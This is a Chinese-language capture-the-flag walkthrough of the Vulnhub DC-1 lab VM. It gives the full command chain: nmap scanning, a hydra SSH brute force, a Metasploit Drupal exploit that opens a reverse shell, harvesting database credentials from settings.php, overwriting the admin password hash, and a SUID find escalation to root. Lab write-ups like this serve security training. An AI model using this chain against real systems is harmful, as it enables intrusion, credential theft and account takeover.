Vulnhub靶机:DC-1渗透详细过程
目录
- Vulnhub靶机:DC-1渗透详细过程
- 一、将靶机导入到虚拟机当中
- 二、攻击方式
- 主机发现
- 端口扫描
- web渗透
- 利用msf反弹shell
- 数据库信息
- web管理员密码
- 提权
一、将靶机导入到虚拟机当中
靶机地址:
https://www.vulnhub.com/entry/dc-1-1,292/
二、攻击方式
主机发现
使用arp-scan命令,发现主机也可以使用nmap,均可
端口扫描
nmap -p- 192.168.0.106
开放了22端口以及80,http端口服务,接下来探针服务信息
nmap -sV -A 192.168.0.106
由于开放了22端口,我们可以尝试去爆破一下,但是未果。
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.106
探针还发现开放了80端口,接下来可以进行访问web界面
web渗透
访问过后得到以下界面,此web服务使用了Drupal CMS魔板
信息收集
我们回到kali端,开启msf,进行搜索相关的漏洞看有无可利用的,如下:
利用msf反弹shell
search drupal //搜索漏洞利用模块
use 1 //尝试使用第一个API这个
set rhosts 192.168.0.106 //靶机目标ip
set lhosts 0.0.0.0
set lport 4444
exploit
成功接收到shell,并为普通www-data权限:
当前目录下有flag1.txt,查看一下提示:
翻译:每一个好的CMS都需要一个配置文件–你也一样。
数据库信息
根据提示找到他的配置文件,不清楚得网上搜一下,Drupal CMS配置文件在哪即可
进入到shell当中,当前所在路径为/var/www,直接进入到配置文件当中即可
cd /var/www/sites/default/
cat settings.php
查看配置文件信息settings.php,得到数据库的用户名和密码,连接即可查看数据库内容
mysql -u dbuser -p
密码:R0ck3t
或
mysql -u dbuser -pR0ck3t
首先获取一个稳定shell,交互性shell
python -c "import pty;pty.spawn('/bin/bash')"
进入数据库当中,查看所有数据库
web管理员密码
查看当前的数据库和users数据表,查看users表当中的数据信息,得到管理员用户名和密码,但是密码被加密,此加密是自带的加密方式,需要找到加密脚本,搜索一下
先把数据拿出来,放到记事本当中。
搜索发现,加密脚本在scripts当中的passwd-hash.sh
进入到此路径当中,查看一下脚本信息:
发现此脚本为php脚本,由此用php来执行,我们来获取一下自定义新密码,从而更新数据库,修改admin管理员的密码
php password-hash.sh admin //生成新密码
回到数据库,将admin密码更新成我们生成的这个自定义密码hash值即可。
UPDATE drupaldb.users SET password = '自定义生成的密码hash值' WHERE username = 'admin' or username = 'Fred';
登录web界面,进入后台即可。
提权
找到flag3.txt,翻译如下
特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。
发现有find命令提示,查看一下find命令得权限
ls -l $(which find)
发现为root权限,那么利用find提权即可,当然提示当中也有说明,使用-exec参数
find /etc/passwd -exec whomai \;
获取一个shell,命令如下:
find /etc/passwd -exec "/bin/sh" \;
方法二,我们通过msf拿到shell以后,可以直接走提权三部曲
查找系统当中拥有suid权限的命令,有没有可利用的
find / -perm -u=s -type f 2>/dev/null
或
find / -user root -perm -4000 print 2>/dev/null
直接发现了find命令,可直接利用,直接提权,命令同方法一
find /etc/passwd -exec whomai \;
文章不妥之处,欢迎匹配指正!!